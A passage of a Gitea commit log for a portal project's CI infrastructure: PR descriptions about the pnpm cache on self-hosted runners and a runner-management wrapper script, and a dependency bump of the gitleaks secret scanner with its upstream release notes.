- `infra/runner-config.yaml` — add `container.network: apf-portal-act-runners`. Surface the `cache.enabled: true` default explicitly so the toggle is discoverable.
- `.gitea/workflows/ci.yml` — re-enable `cache: 'pnpm'` on every `actions/setup-node` step (5 jobs). Drop the now-stale block comment that explained the disablement.
- `.gitea/workflows/security-scheduled.yml` — same on the two setup-node steps.
- `infra/README.md` "Cache server" section rewritten — was `"(deferred)"`, now describes the working setup, rationale, and the disable toggle.
- `ci.yml`'s Trivy comment trimmed to drop the cross-reference to the deferred-cache-server section that no longer exists.

## Roll-out (manual, post-merge, on the runner host)

```bash
cd <repo>/infra
git pull
./ci-runners.sh rotate
```

`rotate` recreates the containers with the new `runner-config.yaml` mount intact (rolling restart, ~15 s pause between each runner so the CI pipeline stays online).

## Test plan

- [ ] CI green on this PR (the gates run on the runners as configured **before** rollout, so this PR's run is one last "uncached" cycle).
- [ ] After rollout, the next CI run's `Set up Node.js` step shows the cache restore attempt **succeed quickly** (no ETIMEDOUT). The `Run pnpm install --frozen-lockfile` step on the first post-rollout run still reports `Progress: resolved N, reused 0, downloaded N` (cold seed).
- [ ] The **second** post-rollout run reports `reused N, downloaded 0` (or a small downloaded delta if Renovate moved a dep meanwhile) — the cache hit is real.
- [ ] `Complete job` step at the end no longer shows `reserveCache failed: connect ETIMEDOUT` warnings.
- [ ] Wall-clock for a typical PR's CI drops by ~5-10 min (5 jobs × ~30-90 s saved on `pnpm install` + the 2× ~2 min ETIMEDOUTs we used to eat).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #82
2026-05-10 19:03:58 +02:00
julien 2d676cc279 feat(infra): add ci-runners.sh wrapper for the runner stack (#81)
CI / check (push) Successful in 1m53s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m17s
CI / a11y (push) Successful in 1m3s
CI / perf (push) Successful in 2m27s
## Summary

Mirrors the convenience-script pattern we adopted for `infra/local/dev.sh`: typing `docker compose -f infra/ci-runners.compose.yml ...` for routine ops gets old fast, the pre-pull of the catthehacker job images is documented but easy to forget, and the "rotation of one runner at a time" tip in `infra/README.md` is a sequence the contributor was supposed to hand-roll every time.

`infra/ci-runners.sh` exposes the everyday verbs and automates the rolling-restart pattern.

## What lands

| Command                                       | Effect                                                                            |
| --------------------------------------------- | --------------------------------------------------------------------------------- |
| `./ci-runners.sh up`                          | Bring the three runner containers up                                              |
| `./ci-runners.sh up --prepull`                | Pre-pull the job images (`act-22.04` + `:full-22.04`) on the host first           |
| `./ci-runners.sh down`                        | Stop and remove the containers (**preserves** `data/runner-N/.runner` credentials) |
| `./ci-runners.sh restart <runner>`            | Restart one runner                                                                |
| `./ci-runners.sh rotate`                      | Rolling restart of every runner with a 15 s pause between each — keeps at least N-1 runners online through a config refresh |
| `./ci-runners.sh status`                      | `docker compose ps` for the runner services                                       |
| `./ci-runners.sh logs [runner]`               | Follow logs (one runner or all of them)                                           |
| `./ci-runners.sh pull-images`                 | Pre-pull / refresh the job images (idempotent)                                    |
| `./ci-runners.sh <other>`                     | Pass-through to `docker compose -f ci-runners.compose.yml ...`                    |

The destructive `down -v` (wipes `data/`, forces re-registration with a fresh Gitea token) is intentionally **not** exposed as a verb — invoke `docker compose -f ci-runners.compose.yml down -v` directly so the path is explicit at the typing level.

## Doc updates (`infra/README.md`)

- Inventory table at the top picks up the script.
- "First-time registration" walkthrough swaps the explicit `docker pull` / `docker compose up` steps for `./ci-runners.sh up --prepull`.
- New "Convenience script — `ci-runners.sh`" subsection with the cheat-sheet table.
- "Operational tips" rephrased to point at the script's `rotate` / `restart` / `logs` verbs as the canonical commands; the raw-docker-compose form is kept in parentheses as the underlying mechanism.
- "Adding a fourth runner" tip now reminds to update the `RUNNERS=()` array at the top of the script.

## Trade-off

The 15 s pause in `rotate` is a conservative approximation — `act_runner` doesn't expose a Compose healthcheck, so we can't poll for ready. Adjust the constant at the top of the script if reality argues for a different value.

## Test plan

- [ ] CI green on this PR.
- [ ] On the runner host: `./infra/ci-runners.sh status` shows the three runners running.
- [ ] `./infra/ci-runners.sh logs runner-1` tails runner-1's stdout.
- [ ] `./infra/ci-runners.sh rotate` cycles through runner-1 → runner-2 → runner-3 with the 15 s pauses; `status` between rotations shows N-1 runners online at any moment (with a brief gap for the one currently restarting).
- [ ] `./infra/ci-runners.sh restart runner-99` errors out with the "unknown runner" message.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #81
2026-05-10 06:37:07 +02:00
APF Portal Bot 674c8b2f88 chore(deps): update dependency gitleaks/gitleaks to v8.30.1 (#79)
CI / commits (push) Has been skipped
CI / check (push) Successful in 1m46s
CI / a11y (push) Successful in 1m59s
CI / scan (push) Successful in 2m35s
CI / perf (push) Successful in 3m15s
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [gitleaks/gitleaks](https://github.com/gitleaks/gitleaks) | minor | `8.21.0` -> `8.30.1` |

---

### Release Notes

<details>
<summary>gitleaks/gitleaks (gitleaks/gitleaks)</summary>

### [`v8.30.1`](https://github.com/gitleaks/gitleaks/releases/tag/v8.30.1)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.30.0...v8.30.1)

##### Changelog

- [`83d9cd6`](https://github.com/gitleaks/gitleaks/commit/83d9cd684c87d95d656c1458ef04895a7f1cbd8e) update goreleaser
- [`8d1f98c`](https://github.com/gitleaks/gitleaks/commit/8d1f98c7967eb1e79cb44ac6241a124e145d2165) Removed unnecessary functions from report template ([#&#8203;2040](https://github.com/gitleaks/gitleaks/issues/2040))
- [`ca20267`](https://github.com/gitleaks/gitleaks/commit/ca20267a84aa1fa2c2a9c1a13cdb50cafb48eeb0) its the simple things ([#&#8203;2020](https://github.com/gitleaks/gitleaks/issues/2020))
- [`b66ac75`](https://github.com/gitleaks/gitleaks/commit/b66ac75e4fa93d86d78fccd6e2f36d2c0698b2a2) build: switch to Go 1.24 ([#&#8203;2002](https://github.com/gitleaks/gitleaks/issues/2002))

### [`v8.30.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.30.0)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.29.1...v8.30.0)

##### Changelog

- [`6eaad03`](https://github.com/gitleaks/gitleaks/commit/6eaad03) 0 to 5 - notes on recursive decoding ([#&#8203;1994](https://github.com/gitleaks/gitleaks/issues/1994))
- [`09242ce`](https://github.com/gitleaks/gitleaks/commit/09242ce) Add new Looker client ID and client secret rules ([#&#8203;1947](https://github.com/gitleaks/gitleaks/issues/1947))
- [`c98e5e0`](https://github.com/gitleaks/gitleaks/commit/c98e5e0) feat: add Airtable Personnal Access Token detection ([#&#8203;1952](https://github.com/gitleaks/gitleaks/issues/1952))
- [`4ed0ca4`](https://github.com/gitleaks/gitleaks/commit/4ed0ca4) build: upgrade Go & alpine version ([#&#8203;1989](https://github.com/gitleaks/gitleaks/issues/1989))

### [`v8.29.1`](https://github.com/gitleaks/gitleaks/releases/tag/v8.29.1)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.29.0...v8.29.1)

##### Changelog

- [`fb5d707`](https://github.com/gitleaks/gitleaks/commit/fb5d707) thats a paddlin
- [`50493db`](https://github.com/gitleaks/gitleaks/commit/50493db) feat: document stdout report path ([#&#8203;1990](https://github.com/gitleaks/gitleaks/issues/1990))

### [`v8.29.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.29.0)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.28.0...v8.29.0)

##### Changelog

- [`ed65b65`](https://github.com/gitleaks/gitleaks/commit/ed65b65) Add trace log for skipped archive file when not enabled ([#&#8203;1961](https://github.com/gitleaks/gitleaks/issues/1961))
- [`c5ccbb9`](https://github.com/gitleaks/gitleaks/commit/c5ccbb9) Respect contexts with timeouts ([#&#8203;1948](https://github.com/gitleaks/gitleaks/issues/1948))
- [`3821f30`](https://github.com/gitleaks/gitleaks/commit/3821f30) Config min version ([#&#8203;1955](https://github.com/gitleaks/gitleaks/issues/1955))
- [`d223718`](https://github.com/gitleaks/gitleaks/commit/d223718) fix(config): validate rules when \[extend] is used ([#&#8203;1592](https://github.com/gitleaks/gitleaks/issues/1592))
- [`87d9629`](https://github.com/gitleaks/gitleaks/commit/87d9629) feat: add Amazon Bedrock API key detection ([#&#8203;1935](https://github.com/gitleaks/gitleaks/issues/1935))
- [`228396b`](https://github.com/gitleaks/gitleaks/commit/228396b) Add GitHub Sponsors section and Discord link
- [`a82bc53`](https://github.com/gitleaks/gitleaks/commit/a82bc53) feat: improve regex  to detect Sonar tokens with prefixes ([#&#8203;1931](https://github.com/gitleaks/gitleaks/issues/1931))

### [`v8.28.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.28.0)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.27.2...v8.28.0)

##### Changelog

- [`4fb4382`](https://github.com/gitleaks/gitleaks/commit/4fb4382) cant count
- [`b1c9c7e`](https://github.com/gitleaks/gitleaks/commit/b1c9c7e) Composite rules ([#&#8203;1905](https://github.com/gitleaks/gitleaks/issues/1905))
- [`72977e4`](https://github.com/gitleaks/gitleaks/commit/72977e4) feat: add Anthropic API key detection ([#&#8203;1910](https://github.com/gitleaks/gitleaks/issues/1910))
- [`7b02c98`](https://github.com/gitleaks/gitleaks/commit/7b02c98) fix(git): handle port ([#&#8203;1912](https://github.com/gitleaks/gitleaks/issues/1912))
- [`2a7bcff`](https://github.com/gitleaks/gitleaks/commit/2a7bcff) dont prematurely calculate fragment newlines ([#&#8203;1909](https://github.com/gitleaks/gitleaks/issues/1909))
- [`bd79c3e`](https://github.com/gitleaks/gitleaks/commit/bd79c3e) feat(allowlist): promote optimizations ([#&#8203;1908](https://github.com/gitleaks/gitleaks/issues/1908))
- [`7fb4eda`](https://github.com/gitleaks/gitleaks/commit/7fb4eda) Fix: CVEs on go and go crypto ([#&#8203;1868](https://github.com/gitleaks/gitleaks/issues/1868))
- [`a044b81`](https://github.com/gitleaks/gitleaks/commit/a044b81) feat: add artifactory reference token and api key detection ([#&#8203;1906](https://github.com/gitleaks/gitleaks/issues/1906))
- [`bf380d4`](https://github.com/gitleaks/gitleaks/commit/bf380d4) silly
- [`f487f85`](https://github.com/gitleaks/gitleaks/commit/f487f85) Update gitleaks.yml
- [`958f55a`](https://github.com/gitleaks/gitleaks/commit/958f55a) add just like that, no leaks

##### Optimizations

[#&#8203;1909](https://github.com/gitleaks/gitleaks/issues/1909) waits to find newlines until a match. This ends up saving a boat load of time since before we were finding newlines for every fragment regardless if a rule matched or not.
[#&#8203;1908](https://github.com/gitleaks/gitleaks/issues/1908) promoted [@&#8203;rgmz](https://github.com/rgmz) excellent stopword optimization

##### Composite Rules (Multi-part or `required` Rules) [#&#8203;1905](https://github.com/gitleaks/gitleaks/issues/1905)

In v8.28.0 Gitleaks introduced composite rules, which are made up of a single "primary" rule and one or more auxiliary or `required` rules. To create a composite rule, add a `[[rules.required]]` table to the primary rule specifying an `id` and optionally `withinLines` and/or `withinColumns` proximity constraints. A fragment is a chunk of content that Gitleaks processes at once (typically a file, part of a file, or git diff), and proximity matching instructs the primary rule to only report a finding if the auxiliary `required` rules also find matches within the specified area of the fragment.

**Proximity matching:** Using the `withinLines` and `withinColumns` fields instructs the primary rule to only report a finding if the auxiliary `required` rules also find matches within the specified proximity. You can set:

- **`withinLines: N`** - required findings must be within N lines (vertically)
- **`withinColumns: N`** - required findings must be within N characters (horizontally)
- **Both** - creates a rectangular search area (both constraints must be satisfied)
- **Neither** - fragment-level matching (required findings can be anywhere in the same fragment)

Here are diagrams illustrating each proximity behavior:

```
p = primary captured secret
a = auxiliary (required) captured secret
fragment = section of data gitleaks is looking at

    *Fragment-level proximity*
    Any required finding in the fragment
          ┌────────┐
   ┌──────┤fragment├─────┐
   │      └──────┬─┤     │ ┌───────┐
   │             │a│◀────┼─│✓ MATCH│
   │          ┌─┐└─┘     │ └───────┘
   │┌─┐       │p│        │
   ││a│    ┌─┐└─┘        │ ┌───────┐
   │└─┘    │a│◀──────────┼─│✓ MATCH│
   └─▲─────┴─┴───────────┘ └───────┘
     │    ┌───────┐
     └────│✓ MATCH│
          └───────┘

   *Column bounded proximity*
   `withinColumns = 3`
          ┌────────┐
   ┌────┬─┤fragment├─┬───┐
   │      └──────┬─┤     │ ┌───────────┐
   │    │        │a│◀┼───┼─│+1C ✓ MATCH│
   │          ┌─┐└─┘     │ └───────────┘
   │┌─┐ │     │p│    │   │
┌──▶│a│  ┌─┐  └─┘        │ ┌───────────┐
│  │└─┘ ││a│◀────────┼───┼─│-2C ✓ MATCH│
│  │       ┘             │ └───────────┘
│  └── -3C ───0C─── +3C ─┘
│  ┌─────────┐
│  │ -4C ✗ NO│
└──│  MATCH  │
   └─────────┘

   *Line bounded proximity*
   `withinLines = 4`
         ┌────────┐
   ┌─────┤fragment├─────┐
  +4L─ ─ ┴────────┘─ ─ ─│
   │                    │
   │              ┌─┐   │ ┌────────────┐
   │         ┌─┐  │a│◀──┼─│+1L ✓ MATCH │
   0L  ┌─┐   │p│  └─┘   │ ├────────────┤
   │   │a│◀──┴─┴────────┼─│-1L ✓ MATCH │
   │   └─┘              │ └────────────┘
   │                    │ ┌─────────┐
  -4L─ ─ ─ ─ ─ ─ ─ ─┌─┐─│ │-5L ✗ NO │
   │                │a│◀┼─│  MATCH  │
   └────────────────┴─┴─┘ └─────────┘

   *Line and column bounded proximity*
   `withinLines = 4`
   `withinColumns = 3`
         ┌────────┐
   ┌─────┤fragment├─────┐
  +4L   ┌└────────┴ ┐   │
   │            ┌─┐     │ ┌───────────────┐
   │    │       │a│◀┼───┼─│+2L/+1C ✓ MATCH│
   │         ┌─┐└─┘     │ └───────────────┘
   0L   │    │p│    │   │
   │         └─┘        │
   │    │           │   │ ┌────────────┐
  -4L    ─ ─ ─ ─ ─ ─┌─┐ │ │-5L/+3C ✗ NO│
   │                │a│◀┼─│   MATCH    │
   └───-3C────0L───+3C┴─┘ └────────────┘
```

### [`v8.27.2`](https://github.com/gitleaks/gitleaks/releases/tag/v8.27.2)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.27.1...v8.27.2)

##### Changelog

- [`c7acf33`](https://github.com/gitleaks/gitleaks/commit/c7acf33) Merge branch 'master' of github.com:gitleaks/gitleaks
- [`9faaa4a`](https://github.com/gitleaks/gitleaks/commit/9faaa4a) Add experimental allowlist optimizations ([#&#8203;1731](https://github.com/gitleaks/gitleaks/issues/1731))
- [`79068b3`](https://github.com/gitleaks/gitleaks/commit/79068b3) Detect Notion Public API Keys [#&#8203;1889](https://github.com/gitleaks/gitleaks/issues/1889) ([#&#8203;1890](https://github.com/gitleaks/gitleaks/issues/1890))

### [`v8.27.1`](https://github.com/gitleaks/gitleaks/releases/tag/v8.27.1)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.27.0...v8.27.1)

##### Changelog

- [`80468ef`](https://github.com/gitleaks/gitleaks/commit/80468ef) Merge branch 'master' of github.com:gitleaks/gitleaks
- [`ef82237`](https://github.com/gitleaks/gitleaks/commit/ef82237) fix(atlassian): reduce false-positives for v1 pattern ([#&#8203;1892](https://github.com/gitleaks/gitleaks/issues/1892))
- [`2463f11`](https://github.com/gitleaks/gitleaks/commit/2463f11) Fix log suppresion issue ([#&#8203;1887](https://github.com/gitleaks/gitleaks/issues/1887))
- [`6f251ee`](https://github.com/gitleaks/gitleaks/commit/6f251ee) Added Heroku API Key New Version ([#&#8203;1883](https://github.com/gitleaks/gitleaks/issues/1883))
- [`20f9a1d`](https://github.com/gitleaks/gitleaks/commit/20f9a1d) Add Platform Bitbucket ([#&#8203;1886](https://github.com/gitleaks/gitleaks/issues/1886))
- [`722ce82`](https://github.com/gitleaks/gitleaks/commit/722ce82) Add Platform Gitea ([#&#8203;1884](https://github.com/gitleaks/gitleaks/issues/1884))
- [`79780b8`](https://github.com/gitleaks/gitleaks/commit/79780b8) Merge branch 'master' of github.com:gitleaks/gitleaks
- [`c5683ca`](https://github.com/gitleaks/gitleaks/commit/c5683ca) prevent default warn message when max-archive-depth not set ([#&#8203;1881](https://github.com/gitleaks/gitleaks/issues/1881))
- [`0357c3c`](https://github.com/gitleaks/gitleaks/commit/0357c3c) prevent default warn message when max-archive-depth not set

### [`v8.27.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.27.0)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.26.0...v8.27.0)

##### Changelog

- [`782f310`](https://github.com/gitleaks/gitleaks/commit/782f310) Archive support ([#&#8203;1872](https://github.com/gitleaks/gitleaks/issues/1872))
- [`489d13c`](https://github.com/gitleaks/gitleaks/commit/489d13c) Update README.md
- [`d29ee55`](https://github.com/gitleaks/gitleaks/commit/d29ee55) Reduce aws-access-token false positives ([#&#8203;1876](https://github.com/gitleaks/gitleaks/issues/1876))
- [`611db65`](https://github.com/gitleaks/gitleaks/commit/611db65) Set `pass_filenames` to `false` for Docker hook ([#&#8203;1850](https://github.com/gitleaks/gitleaks/issues/1850))
- [`0589ae0`](https://github.com/gitleaks/gitleaks/commit/0589ae0) unicode decoding ([#&#8203;1854](https://github.com/gitleaks/gitleaks/issues/1854))
- [`82f7e32`](https://github.com/gitleaks/gitleaks/commit/82f7e32) Diagnostics ([#&#8203;1856](https://github.com/gitleaks/gitleaks/issues/1856))
- [`f97a9ee`](https://github.com/gitleaks/gitleaks/commit/f97a9ee) chore: include decoder in debug log ([#&#8203;1853](https://github.com/gitleaks/gitleaks/issues/1853))

Got another [@&#8203;bplaxco](https://github.com/bplaxco) release. Cheers!

##### Archive Scanning

Sometimes secrets are packaged within archive files like zip files or tarballs,
making them difficult to discover. Now you can tell gitleaks to automatically
extract and scan the contents of archives. The flag `--max-archive-depth`
enables this feature for both `dir` and `git` scan types. The default value of
"0" means this feature is disabled by default.

Recursive scanning is supported since archives can also contain other archives.
The `--max-archive-depth` flag sets the recursion limit. Recursion stops when
there are no new archives to extract, so setting a very high max depth just
sets the potential to go that deep. It will only go as deep as it needs to.

The findings for secrets located within an archive will include the path to the
file inside the archive. Inner paths are separated with `!`.

Example finding (shortened for brevity):

```
Finding:     DB_PASSWORD=8ae31cacf141669ddfb5da
...
File:        testdata/archives/nested.tar.gz!archives/files.tar!files/.env.prod
Line:        4
Commit:      6e6ee6596d337bb656496425fb98644eb62b4a82
...
Fingerprint: 6e6ee6596d337bb656496425fb98644eb62b4a82:testdata/archives/nested.tar.gz!archives/files.tar!files/.env.prod:generic-api-key:4
Link:        https://github.com/leaktk/gitleaks/blob/6e6ee6596d337bb656496425fb98644eb62b4a82/testdata/archives/nested.tar.gz
```

This means a secret was detected on line 4 of `files/.env.prod.` which is in
`archives/files.tar` which is in `testdata/archives/nested.tar.gz`.

Currently supported formats:

The [compression](https://github.com/mholt/archives?tab=readme-ov-file#supported-compression-formats)
and [archive](https://github.com/mholt/archives?tab=readme-ov-file#supported-archive-formats)
formats supported by mholt's [archives package](https://github.com/mholt/archives)
are supported.

### [`v8.26.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.26.0)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.25.1...v8.26.0)

##### Changelog

- [`78eebac`](https://github.com/gitleaks/gitleaks/commit/78eebac) Percent/URL Decoding Support ([#&#8203;1831](https://github.com/gitleaks/gitleaks/issues/1831))
- [`6f967ca`](https://github.com/gitleaks/gitleaks/commit/6f967ca) fix(kubernetes): remove slow element from pat ([#&#8203;1848](https://github.com/gitleaks/gitleaks/issues/1848))
- [`88f56d3`](https://github.com/gitleaks/gitleaks/commit/88f56d3) feat: identify slow file ([#&#8203;1479](https://github.com/gitleaks/gitleaks/issues/1479))
- [`9609928`](https://github.com/gitleaks/gitleaks/commit/9609928) rm 1password detect test since we test it in cfg gen
- [`23cb69f`](https://github.com/gitleaks/gitleaks/commit/23cb69f) feat(rules): Add 1Password secret key detection ([#&#8203;1834](https://github.com/gitleaks/gitleaks/issues/1834))

Calling this one [@&#8203;bplaxco](https://github.com/bplaxco)'s release as he introduced a really clever method for mixed decoding without sacrificing too much performance. As I stated in his PR, I think he's either a wizard or some time traveling AI. Dude [is wicked smaht](https://www.youtube.com/watch?v=hIdsjNGCGz4)

Anyways, Gitleaks now supports the following decoders: `hex`, `percent(url enconding)`, and `b64`. It's relatively straight forward to add a new decoder so if you're motivated, community contributions are welcomed!

Here's an example:

```
~/code/gitleaks-org/gitleaks (master) cat decode.txt
text below
aGVsbG8sIHdvcmxkIQ%3D%3D%0A
text above
~/code/gitleaks-org/gitleaks (master) ./gitleaks dir decode.txt --max-decode-depth=2 --log-level=debug

    ○
    │╲
    │ ○
    ○ ░
    ░    gitleaks

4:08PM DBG using stdlib regex engine
4:08PM DBG unable to load gitleaks config from decode.txt/.gitleaks.toml since --source=decode.txt is a file, using default config
4:08PM DBG found .gitleaksignore file: .gitleaksignore
4:08PM DBG segment found: original=[29,38] pos=[29,38]: "%3D%3D%0A" -> "==\n"
4:08PM DBG segment found: original=[11,38] pos=[11,31]: "aGVsbG8sIHdvcmxkIQ==" -> "hello, world!"
4:08PM INF scanned ~50 bytes (50 bytes) in 1.5ms
4:08PM INF no leaks found
```

### [`v8.25.1`](https://github.com/gitleaks/gitleaks/releases/tag/v8.25.1)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.25.0...v8.25.1)

##### Changelog

- [`d1c7759`](https://github.com/gitleaks/gitleaks/commit/d1c7759) fix(detect): test all allowlists ([#&#8203;1845](https://github.com/gitleaks/gitleaks/issues/1845))

Big thanks [@&#8203;rgmz](https://github.com/rgmz)

### [`v8.25.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.25.0)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.24.3...v8.25.0)

##### Changelog

- [`4451b45`](https://github.com/gitleaks/gitleaks/commit/4451b45) feat(config): define multiple global allowlists ([#&#8203;1777](https://github.com/gitleaks/gitleaks/issues/1777)) (cause for the minor bump change)
- [`7fb21a4`](https://github.com/gitleaks/gitleaks/commit/7fb21a4) feat(rules): Add Perplexity AI API key detection ([#&#8203;1825](https://github.com/gitleaks/gitleaks/issues/1825))
- [`f6193bc`](https://github.com/gitleaks/gitleaks/commit/f6193bc) feat(gcp): increase rule entropy ([#&#8203;1840](https://github.com/gitleaks/gitleaks/issues/1840))
- [`9bc7257`](https://github.com/gitleaks/gitleaks/commit/9bc7257) Adding clickhouse scanner ([#&#8203;1826](https://github.com/gitleaks/gitleaks/issues/1826))
- [`b6cc71a`](https://github.com/gitleaks/gitleaks/commit/b6cc71a) fix(baseline): work with --redact ([#&#8203;1741](https://github.com/gitleaks/gitleaks/issues/1741))
- [`cfdeb0d`](https://github.com/gitleaks/gitleaks/commit/cfdeb0d) feat(rule): validate & sort rule when generating ([#&#8203;1817](https://github.com/gitleaks/gitleaks/issues/1817))

### [`v8.24.3`](https://github.com/gitleaks/gitleaks/releases/tag/v8.24.3)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.24.2...v8.24.3)

##### Changelog

- [`107a418`](https://github.com/gitleaks/gitleaks/commit/107a418) Add support for GitLab Runner Tokens (Routable) ([#&#8203;1820](https://github.com/gitleaks/gitleaks/issues/1820))
- [`7fac002`](https://github.com/gitleaks/gitleaks/commit/7fac002) bump repo version in pre-commit example ([#&#8203;1815](https://github.com/gitleaks/gitleaks/issues/1815))
- [`4b54104`](https://github.com/gitleaks/gitleaks/commit/4b54104) Fix currentLine out of bounds error ([#&#8203;1810](https://github.com/gitleaks/gitleaks/issues/1810))
- [`af7d5bc`](https://github.com/gitleaks/gitleaks/commit/af7d5bc) add support for Azure DevOps platform in SCM detection and link ([#&#8203;1807](https://github.com/gitleaks/gitleaks/issues/1807))
- [`3e8cd2d`](https://github.com/gitleaks/gitleaks/commit/3e8cd2d) Add MaxMind license key rule ([#&#8203;1771](https://github.com/gitleaks/gitleaks/issues/1771))
- [`ddcc753`](https://github.com/gitleaks/gitleaks/commit/ddcc753) implement new openai regex pattern ([#&#8203;1780](https://github.com/gitleaks/gitleaks/issues/1780))
- [`9708e65`](https://github.com/gitleaks/gitleaks/commit/9708e65) A first attempt adding hooks.slack.com/triggers/ ([#&#8203;1792](https://github.com/gitleaks/gitleaks/issues/1792))
- [`198e410`](https://github.com/gitleaks/gitleaks/commit/198e410) feat(generic): tweak false-positives ([#&#8203;1803](https://github.com/gitleaks/gitleaks/issues/1803))
- [`e273a97`](https://github.com/gitleaks/gitleaks/commit/e273a97) chore: tweak logging and readme for GITLEAKS\_CONFIG\_TOML feature ([#&#8203;1802](https://github.com/gitleaks/gitleaks/issues/1802))
- [`a503b58`](https://github.com/gitleaks/gitleaks/commit/a503b58) feat: add option to set config from env var with toml content ([#&#8203;1662](https://github.com/gitleaks/gitleaks/issues/1662))

### [`v8.24.2`](https://github.com/gitleaks/gitleaks/releases/tag/v8.24.2)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.24.0...v8.24.2)

##### What's Changed

- Fix `platform` flag being ignored with `gitleaks detect` by [@&#8203;rgmz](https://github.com/rgmz) in https://github.com/gitleaks/gitleaks/pull/1765
- Make AddFinding public by [@&#8203;bplaxco](https://github.com/bplaxco) in https://github.com/gitleaks/gitleaks/pull/1767
- FIX upgrade x/crypto to 0.31.0 to get rid of CVE-2024-45337 by [@&#8203;cgoessen](https://github.com/cgoessen) in https://github.com/gitleaks/gitleaks/pull/1768
- Upgrade rs/zerolog, spf13/cobra, and spf13/viper by [@&#8203;rgmz](https://github.com/rgmz) in https://github.com/gitleaks/gitleaks/pull/1769
- Infer `report-format` from `report-path` extension if no value is provided by [@&#8203;rgmz](https://github.com/rgmz) in https://github.com/gitleaks/gitleaks/pull/1776
- `generic-api-key`: ignore csrf-tokens by [@&#8203;rgmz](https://github.com/rgmz) in https://github.com/gitleaks/gitleaks/pull/1779
- Prevent Yocto/BitBake false positives with generic-api-key rule by [@&#8203;Okeanos](https://github.com/Okeanos) in https://github.com/gitleaks/gitleaks/pull/1783
- Fix decoded line allowlist by [@&#8203;zricethezav](https://github.com/zricethezav) in https://github.com/gitleaks/gitleaks/pull/1788
- Readme badge revisions by [@&#8203;jessp01](https://github.com/jessp01) in https://github.com/gitleaks/gitleaks/pull/1744
- feat(regexp): use standard regexp by default, make go-re2 opt-in by [@&#8203;twpayne](https://github.com/twpayne) in https://github.com/gitleaks/gitleaks/pull/1798
- gore2 release tags by [@&#8203;zricethezav](https://github.com/zricethezav) in https://github.com/gitleaks/gitleaks/pull/1801

##### New Contributors

- [@&#8203;cgoessen](https://github.com/cgoessen) made their first contribution in https://github.com/gitleaks/gitleaks/pull/1768
- [@&#8203;Okeanos](https://github.com/Okeanos) made their first contribution in https://github.com/gitleaks/gitleaks/pull/1783
- [@&#8203;jessp01](https://github.com/jessp01) made their first contribution in https://github.com/gitleaks/gitleaks/pull/1744
- [@&#8203;twpayne](https://github.com/twpayne) made their first contribution in https://github.com/gitleaks/gitleaks/pull/1798

**Full Changelog**: https://github.com/gitleaks/gitleaks/compare/v8.24.0...v8.24.2

### [`v8.24.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.24.0)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.23.3...v8.24.0)

##### Changelog

- [`c2afd56`](https://github.com/gitleaks/gitleaks/commit/c2afd56) Make paths and fingerprints platform-agnostic ([#&#8203;1622](https://github.com/gitleaks/gitleaks/issues/1622))
- [`818e32f`](https://github.com/gitleaks/gitleaks/commit/818e32f) Add Sonar rule ([#&#8203;1756](https://github.com/gitleaks/gitleaks/issues/1756))
- [`3fa5a3a`](https://github.com/gitleaks/gitleaks/commit/3fa5a3a) Minor false positive improvements ([#&#8203;1758](https://github.com/gitleaks/gitleaks/issues/1758))
- [`2020e6a`](https://github.com/gitleaks/gitleaks/commit/2020e6a) Add support for streaming DetectReader ([#&#8203;1760](https://github.com/gitleaks/gitleaks/issues/1760))
- [`9122a2d`](https://github.com/gitleaks/gitleaks/commit/9122a2d) chore: Update github.com/wasilibs/go-re2 to v1.9.0 ([#&#8203;1763](https://github.com/gitleaks/gitleaks/issues/1763))
- [`398d0c4`](https://github.com/gitleaks/gitleaks/commit/398d0c4) docs: describe extended rules take precedence over base rules ([#&#8203;1563](https://github.com/gitleaks/gitleaks/issues/1563))
- [`ae26eff`](https://github.com/gitleaks/gitleaks/commit/ae26eff) feat(git): disable link generation ([#&#8203;1748](https://github.com/gitleaks/gitleaks/issues/1748))
- [`c6424a6`](https://github.com/gitleaks/gitleaks/commit/c6424a6) added sourcegraph token rule ([#&#8203;1736](https://github.com/gitleaks/gitleaks/issues/1736))
- [`6411402`](https://github.com/gitleaks/gitleaks/commit/6411402) feat(config): add rule for .p12 files ([#&#8203;1738](https://github.com/gitleaks/gitleaks/issues/1738))
- [`d71d95d`](https://github.com/gitleaks/gitleaks/commit/d71d95d) add deno.lock to default exclusions ([#&#8203;1740](https://github.com/gitleaks/gitleaks/issues/1740))

### [`v8.23.3`](https://github.com/gitleaks/gitleaks/releases/tag/v8.23.3)

[Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.23.2...v8.23.3)

##### Changelog

- [`3188ad6`](https://github.com/gitleaks/gitleaks/commit/3188ad6) Don't exit with error if git repacking is required ([#&#8203;1711](https://github.com/gitleaks/gitleaks/issues/1711))
- [`7fc11bb`](https://github.com/gitleaks/gitleaks/commit/7fc11bb) refactor(config): use non-capture groups for allowlists ([#&#8203;1735](https://github.com/gitleaks/gitleaks/issues/1735))
- [`36c52c6`](https://github.com/gitleaks/gitleaks/commit/36c52c6) chore: Enhance `curl-auth-user` to detect empty usernames or passwords ([#&#8203;1726](https://github.com/gitleaks/gitleaks/issues/1726))
